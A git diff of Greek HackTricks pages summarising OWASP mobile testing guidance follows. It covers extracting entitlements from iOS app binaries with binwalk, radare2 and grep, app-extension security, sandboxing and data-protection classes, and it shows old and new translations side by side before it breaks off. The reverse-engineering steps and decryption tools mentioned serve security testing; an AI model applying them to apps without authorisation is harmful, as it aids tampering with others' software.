* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Περίληψη της σελίδας [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
Summary of the page [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
### **Εξαγωγή Προνομίων και Αρχείων Mobile Provision**
### **Extracting Entitlements and Mobile Provision Files**
Όταν ασχολούμαστε με το IPA μιας εφαρμογής ή με μια εγκατεστημένη εφαρμογή σε μια jailbroken συσκευή, ενδέχεται να μην είναι δυνατή η εύρεση αρχείων `.entitlements` ή του αρχείου `embedded.mobileprovision` απευθείας. Ωστόσο, μπορούν ακόμα να εξαχθούν λίστες προνομίων από το δυαδικό αρχείο της εφαρμογής, ακολουθώντας τις διαδικασίες που περιγράφονται στο κεφάλαιο "iOS Basic Security Testing", και ειδικότερα στην ενότητα "Απόκτηση του Δυαδικού Αρχείου της Εφαρμογής".
Όταν ασχολείστε με το IPA μιας εφαρμογής ή με μια εγκατεστημένη εφαρμογή σε μια jailbroken συσκευή, η εύρεση των αρχείων `.entitlements` ή του αρχείου `embedded.mobileprovision` μπορεί να μην είναι δυνατή. Ωστόσο, οι λίστες ιδιοτήτων entitlements μπορούν να εξαχθούν από το δυαδικό αρχείο της εφαρμογής, ακολουθώντας τις διαδικασίες που περιγράφονται στο κεφάλαιο "iOS Basic Security Testing", ιδιαίτερα στην ενότητα "Acquiring the App Binary".
Ακόμα και με κρυπτογραφημένα δυαδικά αρχεία, μπορούν να γίνουν ορισμένα βήματα για την εξαγωγή αυτών των αρχείων. Εάν αυτά τα βήματα αποτύχουν, ενδέχεται να απαιτηθούν εργαλεία όπως το Clutch (εάν είναι συμβατό με την έκδοση του iOS), το frida-ios-dump ή παρόμοια εργαλεία για την αποκρυπτογράφηση και εξαγωγή της εφαρμογής.
Ακόμα και με κρυπτογραφημένα δυαδικά αρχεία, ορισμένα βήματα μπορούν να χρησιμοποιηθούν για να εξαχθούν αυτά τα αρχεία. Εάν αυτά τα βήματα αποτύχουν, εργαλεία όπως το Clutch (αν είναι συμβατό με την έκδοση iOS), frida-ios-dump ή παρόμοια βοηθητικά προγράμματα μπορεί να απαιτούνται για να αποκρυπτογραφήσουν και να εξάγουν την εφαρμογή.
#### **Εξαγωγή του Αρχείου Plist των Προνομίων από το Δυαδικό Αρχείο της Εφαρμογής**
#### **Extracting the Entitlements Plist from the App Binary**
Με το δυαδικό αρχείο της εφαρμογής προσβάσιμο σε έναν υπολογιστή, μπορεί να χρησιμοποιηθεί το **binwalk** για να εξαχθούν όλα τα αρχεία XML. Η παρακάτω εντολή δείχνει πώς να το κάνετε:
Με το δυαδικό αρχείο της εφαρμογής προσβάσιμο σε υπολογιστή, **binwalk** μπορεί να χρησιμοποιηθεί για να εξαχθούν όλα τα XML αρχεία. Η παρακάτω εντολή δείχνει πώς να το κάνετε αυτό:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -34,33 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
Εναλλακτικά, μπορεί να χρησιμοποιηθεί το **radare2** για να εκτελεστεί αθόρυβα μια εντολή και να τερματίσει, αναζητώντας όλες τις συμβολοσειρές στο δυαδικό αρχείο της εφαρμογής που περιέχουν τη λέξη "PropertyList":
Εναλλακτικά, **radare2** μπορεί να χρησιμοποιηθεί για να εκτελέσει ήσυχα μια εντολή και να εξέλθει, αναζητώντας όλες τις συμβολοσειρές στο δυαδικό αρχείο της εφαρμογής που περιέχουν "PropertyList":
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
Και οι δύο μέθοδοι, binwalk και radare2, επιτρέπουν την εξαγωγή αρχείων `plist`, με μια επιθεώρηση του πρώτου (0x0015d2a4) αποκαλύπτοντας μια επιτυχημένη ανάκτηση του [αρχικού αρχείου entitlements από το Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Και οι δύο μέθοδοι, binwalk και radare2, επιτρέπουν την εξαγωγή αρχείων `plist`, με μια επιθεώρηση του πρώτου (0x0015d2a4) να αποκαλύπτει μια επιτυχημένη ανάκτηση του [αρχικού αρχείου δικαιωμάτων από το Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Για δυαδικά αρχεία εφαρμογών που έχουν πρόσβαση σε jailbroken συσκευές (π.χ. μέσω SSH), η εντολή **grep** με τη σημαία `-a, --text` μπορεί να χρησιμοποιηθεί για να επεξεργαστεί όλα τα αρχεία ως ASCII κείμενο:
Για τα δυαδικά αρχεία εφαρμογών που προσπελάστηκαν σε jailbroken συσκευές (π.χ., μέσω SSH), η εντολή **grep** με την επιλογή `-a, --text` μπορεί να χρησιμοποιηθεί για να αντιμετωπιστούν όλα τα αρχεία ως ASCII κείμενο:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
Η προσαρμογή της σημαίας `-A num, --after-context=num` επιτρέπει την εμφάνιση περισσότερων ή λιγότερων γραμμών. Αυτή η μέθοδος είναι εφαρμόσιμη ακόμα και για κρυπτογραφημένα δυαδικά αρχεία εφαρμογών και έχει επαληθευτεί σε πολλές εφαρμογές App Store. Τα εργαλεία που αναφέρθηκαν προηγουμένως μπορούν επίσης να χρησιμοποιηθούν σε jailbroken συσκευές iOS για παρόμοιους σκοπούς.
Ρυθμίζοντας την επιλογή `-A num, --after-context=num` επιτρέπει την εμφάνιση περισσότερων ή λιγότερων γραμμών. Αυτή η μέθοδος είναι βιώσιμη ακόμη και για κωδικοποιημένα δυαδικά αρχεία εφαρμογών και έχει επαληθευτεί σε πολλές εφαρμογές του App Store. Τα εργαλεία που αναφέρθηκαν νωρίτερα μπορούν επίσης να χρησιμοποιηθούν σε jailbroken iOS συσκευές για παρόμοιους σκοπούς.
**Σημείωση**: Δεν συνιστάται η άμεση χρήση της εντολής `strings` για αυτήν την εργασία λόγω των περιορισμών της στην εύρεση σχετικών πληροφοριών. Αντ' αυτού, συνίσταται η χρήση της εντολής grep με τη σημαία `-a` στο δυαδικό αρχείο ή η χρήση του radare2 (`izz`)/rabin2 (`-zz`) για πιο αποτελεσματικά αποτελέσματα.
**Σημείωση**: Η άμεση χρήση της εντολής `strings` δεν συνιστάται για αυτήν την εργασία λόγω των περιορισμών της στην εύρεση σχετικών πληροφοριών. Αντίθετα, η χρήση του grep με την επιλογή `-a` στο δυαδικό αρχείο ή η αξιοποίηση του radare2 (`izz`)/rabin2 (`-zz`) είναι σκόπιμη για πιο αποτελεσματικά αποτελέσματα.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,46 +1,79 @@
# iOS Επεκτάσεις Εφαρμογών
# iOS App Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Οι επεκτάσεις εφαρμογών ενισχύουν τη λειτουργικότητα των εφαρμογών επιτρέποντάς τους να αλληλεπιδρούν με άλλες εφαρμογές ή το σύστημα, παρέχοντας προσαρμοσμένες λειτουργίες ή περιεχόμενο. Αυτές οι επεκτάσεις περιλαμβάνουν:
Οι επεκτάσεις εφαρμογών ενισχύουν τη λειτουργικότητα των εφαρμογών επιτρέποντάς τους να αλληλεπιδρούν με άλλες εφαρμογές ή το σύστημα, παρέχοντας προσαρμοσμένες δυνατότητες ή περιεχόμενο. Αυτές οι επεκτάσεις περιλαμβάνουν:
- **Προσαρμοσμένο Πληκτρολόγιο**: Προσφέρει ένα μοναδικό πληκτρολόγιο σε όλες τις εφαρμογές, αντικαθιστώντας το προεπιλεγμένο πληκτρολόγιο του iOS.
- **Κοινή χρήση**: Επιτρέπει την κοινή χρήση σε κοινωνικά δίκτυα ή με άλλους απευθείας.
- **Σήμερα (Widgets)**: Παρέχει περιεχόμενο ή εκτελεί γρήγορες εργασίες από την προβολή "Σήμερα" του Κέντρου Ειδοποιήσεων.
- **Προσαρμοσμένο Πληκτρολόγιο**: Προσφέρει ένα μοναδικό πληκτρολόγιο σε όλες τις εφαρμογές, αντικαθιστώντας το προεπιλεγμένο πληκτρολόγιο iOS.
- **Κοινοποίηση**: Ενεργοποιεί την κοινοποίηση σε κοινωνικά δίκτυα ή με άλλους απευθείας.
- **Σήμερα (Widgets)**: Παρέχει περιεχόμενο ή εκτελεί εργασίες γρήγορα από την προβολή Σήμερα του Κέντρου Ειδοποιήσεων.
Όταν ένας χρήστης αλληλεπιδρά με αυτές τις επεκτάσεις, όπως το να μοιράζεται κείμενο από μια εφαρμογή φιλοξενίας, η επέκταση επεξεργάζεται αυτήν την είσοδο μέσα στο πλαίσιό της, εκμεταλλευόμενη τις κοινόχρηστες πληροφορίες για να εκτελέσει την εργασία της, όπως περιγράφεται στην τεκμηρίωση της Apple.
Όταν ένας χρήστης αλληλεπιδρά με αυτές τις επεκτάσεις, όπως η κοινοποίηση κειμένου από μια εφαρμογή φιλοξενίας, η επέκταση επεξεργάζεται αυτή την είσοδο εντός του πλαισίου της, εκμεταλλευόμενη τις κοινές πληροφορίες για να εκτελέσει την εργασία της, όπως αναφέρεται στην τεκμηρίωση της Apple.
### **Σκέψεις ασφαλείας**
### **Σκέψεις Ασφαλείας**
Οι βασικές ασφαλείς πτυχές περιλαμβάνουν:
Βασικές πτυχές ασφαλείας περιλαμβάνουν:
- Οι επεκτάσεις και οι εφαρμογές που τις περιέχουν επικοινωνούν μέσω επικοινωνίας μεταξύ διεργασιών, όχι απευθείας.
- Το **widget Σήμερα** είναι μοναδικό στο ότι μπορεί να ζητήσει από την εφαρμογή του να ανοίξει μέσω ενός συγκεκριμένου μεθόδου.
- Η πρόσβαση σε κοινόχρηστα δεδομένα επιτρέπεται μέσα σε έναν ιδιωτικό φάκελο, αλλά η απευθείας πρόσβαση είναι περιορισμένη.
- Ορισμένα APIs, συμπεριλαμβανομένου του HealthKit, είναι απαγορευμένα για τις επεκτάσεις εφαρμογών, οι οποίες επίσης δεν μπορούν να ξεκινήσουν μακροχρόνιες εργασίες, να έχουν πρόσβαση στην κάμερα ή το μικρόφωνο, εκτός από τις επεκτάσεις iMessage.
- Οι επεκτάσεις και οι εφαρμογές που τις περιέχουν επικοινωνούν μέσω διαλειτουργικής επικοινωνίας, όχι άμεσα.
- Το **widget Σήμερα** είναι μοναδικό καθώς μπορεί να ζητήσει από την εφαρμογή του να ανοίξει μέσω μιας συγκεκριμένης μεθόδου.
- Η πρόσβαση σε κοινά δεδομένα επιτρέπεται εντός ενός ιδιωτικού κοντέινερ, αλλά η άμεση πρόσβαση περιορίζεται.
- Ορισμένα APIs, συμπεριλαμβανομένου του HealthKit, είναι εκτός ορίων για τις επεκτάσεις εφαρμογών, οι οποίες επίσης δεν μπορούν να ξεκινήσουν μακροχρόνιες εργασίες, να αποκτήσουν πρόσβαση στην κάμερα ή το μικρόφωνο, εκτός από τις επεκτάσεις iMessage.
### Στατική Ανάλυση
#### **Αναγνώριση Επεκτάσεων Εφαρμογών**
#### **Εντοπισμός Επεκτάσεων Εφαρμογών**
Για να βρείτε επεκτάσεις εφαρμογών στον πηγαίο κώδικα, αναζητήστε το `NSExtensionPointIdentifier` στο Xcode ή επιθεωρήστε το πακέτο της εφαρμογής για αρχεία `.appex` που υποδηλώνουν επεκτάσεις. Χωρίς πηγαίο κώδικα, χρησιμοποιήστε την εντολή grep ή SSH για να εντοπίσετε αυτούς τους αναγνωριστές μέσα στο πακέτο της εφαρμογής.
Για να βρείτε επεκτάσεις εφαρμογών στον πηγαίο κώδικα, αναζητήστε το `NSExtensionPointIdentifier` στο Xcode ή ελέγξτε το πακέτο της εφαρμογής για αρχεία `.appex` που υποδεικνύουν επεκτάσεις. Χωρίς πηγαίο κώδικα, χρησιμοποιήστε grep ή SSH για να εντοπίσετε αυτούς τους αναγνωριστές εντός του πακέτου της εφαρμογής.
#### **Υποστηριζόμενοι Τύποι Δεδομένων**
Ελέγξτε το αρχείο `Info.plist` μιας επέκτασης για το `NSExtensionActivationRule` για να αναγνωρίσετε τους υποστηριζόμενους τύπους δεδομένων. Αυτή η ρύθμιση εξασφαλίζει ότι μόνο συμβατοί τύποι δεδομένων ενεργοποιούν την επέκταση στις εφαρμογές φιλοξενίας.
Ελέγξτε το αρχείο `Info.plist` μιας επέκτασης για το `NSExtensionActivationRule` για να προσδιορίσετε τους υποστηριζόμενους τύπους δεδομένων. Αυτή η ρύθμιση διασφαλίζει ότι μόνο συμβατοί τύποι δεδομένων ενεργοποιούν την επέκταση σε εφαρμογές φιλοξενίας.
#### **Κοινή Χρήση Δεδομένων**
#### **Κοινοποίηση Δεδομένων**
Η κοινή χρήση δεδομένων μεταξύ μιας εφαρμογής και της επέκτασής της απαιτεί έναν κοινόχρηστο φάκελο
Η κοινοποίηση δεδομένων μεταξύ μιας εφαρμογής και της επέκτασής της απαιτεί ένα κοινό κοντέινερ, που ρυθμίζεται μέσω "Ομάδων Εφαρμογών" και προσπελάζεται μέσω του `NSUserDefaults`. Αυτός ο κοινός χώρος είναι απαραίτητος για τις μεταφορές στο παρασκήνιο που ξεκινούν οι επεκτάσεις.
#### **Περιορισμός Επεκτάσεων**
Οι εφαρμογές μπορούν να περιορίσουν ορισμένους τύπους επεκτάσεων, ιδιαίτερα τα προσαρμοσμένα πληκτρολόγια, διασφαλίζοντας ότι η διαχείριση ευαίσθητων δεδομένων ευθυγραμμίζεται με τα πρωτόκολλα ασφαλείας.
### Δυναμική Ανάλυση
Η δυναμική ανάλυση περιλαμβάνει:
- **Επιθεώρηση Κοινών Στοιχείων**: Hook στο `NSExtensionContext - inputItems` για να δείτε τους τύπους και τις προελεύσεις των κοινών δεδομένων.
- **Εντοπισμός Επεκτάσεων**: Ανακαλύψτε ποιες επεκτάσεις επεξεργάζονται τα δεδομένα σας παρατηρώντας τους εσωτερικούς μηχανισμούς, όπως το `NSXPCConnection`.
Εργαλεία όπως το `frida-trace` μπορούν να βοηθήσουν στην κατανόηση των υποκείμενων διαδικασιών, ειδικά για εκείνους που ενδιαφέρονται για τις τεχνικές λεπτομέρειες της διαλειτουργικής επικοινωνίας.
## Αναφορές
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Διαχωρισμός Προνομίων και Αμμοθύρα
# Διαχωρισμός Δικαιωμάτων και Sandbox
Στο iOS, υπάρχει μια διάκριση στα προνόμια μεταξύ των εφαρμογών προσβάσιμων από τον χρήστη και των πυρήνα των διεργασιών του συστήματος. Οι εφαρμογές λειτουργούν υπό την ταυτότητα του χρήστη **`mobile`**, ενώ οι κρίσιμες διεργασίες του συστήματος λειτουργούν ως **`root`**. Αυτός ο διαχωρισμός ενισχύεται από έναν μηχανισμό αμμοθύρας, ο οποίος επιβάλλει αυστηρούς περιορισμούς στις ενέργειες που μπορούν να πραγματοποιήσουν οι εφαρμογές. Για παράδειγμα, ακόμα κι αν οι εφαρμογές μοιράζονται την ίδια ταυτότητα χρήστη, τους απαγορεύεται η πρόσβαση ή η τροποποίηση των δεδομένων η μίας από την άλλη.
Στο iOS, υπάρχει διάκριση στα δικαιώματα μεταξύ των εφαρμογών που είναι προσβάσιμες από τον χρήστη και των βασικών διαδικασιών του συστήματος. Οι εφαρμογές εκτελούνται υπό την ταυτότητα χρήστη **`mobile`**, ενώ οι κρίσιμες διαδικασίες του συστήματος λειτουργούν ως **`root`**. Αυτός ο διαχωρισμός ενισχύεται από έναν μηχανισμό sandbox, ο οποίος επιβάλλει αυστηρούς περιορισμούς σχετικά με τις ενέργειες που μπορούν να αναλάβουν οι εφαρμογές. Για παράδειγμα, ακόμη και αν οι εφαρμογές μοιράζονται την ίδια ταυτότητα χρήστη, απαγορεύεται να έχουν πρόσβαση ή να τροποποιούν τα δεδομένα η μία της άλλης.
Οι εφαρμογές εγκαθίστανται σε ένα συγκεκριμένο φάκελο (`private/var/mobile/Applications/{τυχαίο ID}`) και έχουν περιορισμένη ανάγνωση σε συγκεκριμένους τομείς και λειτουργίες του συστήματος, όπως τα SMS και οι τηλεφωνικές κλήσεις. Η πρόσβαση σε προστατευμένους τομείς ενεργοποιεί ένα αίτημα για άδεια χρήστη.
Οι εφαρμογές εγκαθίστανται σε έναν συγκεκριμένο φάκελο (`private/var/mobile/Applications/{random ID}`) και έχουν περιορισμένη πρόσβαση ανάγνωσης σε ορισμένες περιοχές και λειτουργίες του συστήματος, όπως τα SMS και οι τηλεφωνικές κλήσεις. Η πρόσβαση σε προστατευμένες περιοχές ενεργοποιεί ένα αναδυόμενο αίτημα για άδεια χρήστη.
# Προστασία Δεδομένων
Το iOS προσφέρει στους προγραμματιστές τις **Διεπαφές Προστασίας Δεδομένων**, που βασίζονται στον Επεξεργαστή Ασφαλούς Χώρου (SEP) - ένα αφιερωμένο συνεπεξεργαστή για κρυπτογραφικές λειτουργίες και διαχείριση κλειδιών. Ο SEP εξασφαλίζει την ακεραιότητα της προστασίας των δεδομένων μέσω ενός μοναδικού κλειδιού που είναι ειδικό για τη συσκευή, το UID της συσκευής, που ενσωματώνεται σε αυτήν.
Το iOS προσφέρει στους προγραμματιστές τις **API Προστασίας Δεδομένων**, που είναι χτισμένες πάνω στον Secure Enclave Processor (SEP) — έναν ειδικό επεξεργαστή για κρυπτογραφικές λειτουργίες και διαχείριση κλειδιών. Ο SEP διασφαλίζει την ακεραιότητα της προστασίας των δεδομένων μέσω ενός μοναδικού κλειδιού που είναι συγκεκριμένο για τη συσκευή, το UID της συσκευής, που είναι ενσωματωμένο σε αυτόν.
Κατά τη δημιουργία ενός αρχείου, δημιουργείται ένα μοναδικό κλειδί κρυπτογράφησης AES 256-bit, το οποίο κρυπτογραφεί το περιεχόμενο του αρχείου. Αυτό το κλειδί κρυπτογράφησης, μαζί με ένα αναγνωριστικό κλάσης, κρυπτογραφείται στη συνέχεια χρησιμοποιώντας ένα κλειδί κλάσης και αποθηκεύεται στα μεταδεδομένα του αρχείου. Η αποκρυπτογράφηση ενός αρχείου περιλαμβάνει τη χρήση του κλειδιού του συστήματος για να αποκτήσει πρόσβαση στα μεταδεδομένα, να ανακτήσει το κλειδί κλάσης με το αναγνωριστικό κλάσης και στη συνέχεια να αποκρυπτογραφήσει το μοναδικό κλειδί κρυπτογράφησης του αρχείου.
Κατά τη δημιουργία αρχείου, παράγεται ένα μοναδικό κλειδί κρυπτογράφησης AES 256-bit, το οποίο κρυπτογραφεί το περιεχόμενο του αρχείου. Αυτό το κλειδί κρυπτογράφησης, μαζί με ένα ID κατηγορίας, κρυπτογραφείται στη συνέχεια χρησιμοποιώντας ένα κλειδί κατηγορίας και αποθηκεύεται στα μεταδεδομένα του αρχείου. Η αποκρυπτογράφηση ενός αρχείου περιλαμβάνει τη χρήση του κλειδιού του συστήματος για την πρόσβαση στα μεταδεδομένα, την ανάκτηση του κλειδιού κατηγορίας με το ID κατηγορίας και στη συνέχεια την αποκρυπτογράφηση του μοναδικού κλειδιού κρυπτογράφησης του αρχείου.
Το iOS ορίζει **τέσσερις κλάσεις προστασίας** για την ασφάλεια των δεδομένων, οι οποίες καθορίζουν πότε και πώς μπορούν να προσπελαστούν τα δεδομένα:
Το iOS ορίζει **τέσσερις κατηγορίες προστασίας** για την ασφάλεια των δεδομένων, οι οποίες καθορίζουν πότε και πώς μπορούν να προσπελαστούν τα δεδομένα:
- **Πλήρης Προστασία (NSFileProtectionComplete)**: Τα δεδομένα είναι απρόσβατα μέχρι η συσκευή να ξεκλειδωθεί με τον κωδικό πρόσβασης του χρήστη.
- **Προστατευμένα Εκτός Αν Είναι Ανοιχτά (NSFileProtectionCompleteUnlessOpen)**: Επιτρέπει την πρόσβαση σε αρχεία ακόμα και μετά το κλείδωμα της συσκευής, εφόσον το αρχείο ήταν ανοιχτό όταν η συσκευή ήταν ξεκλειδωμένη.
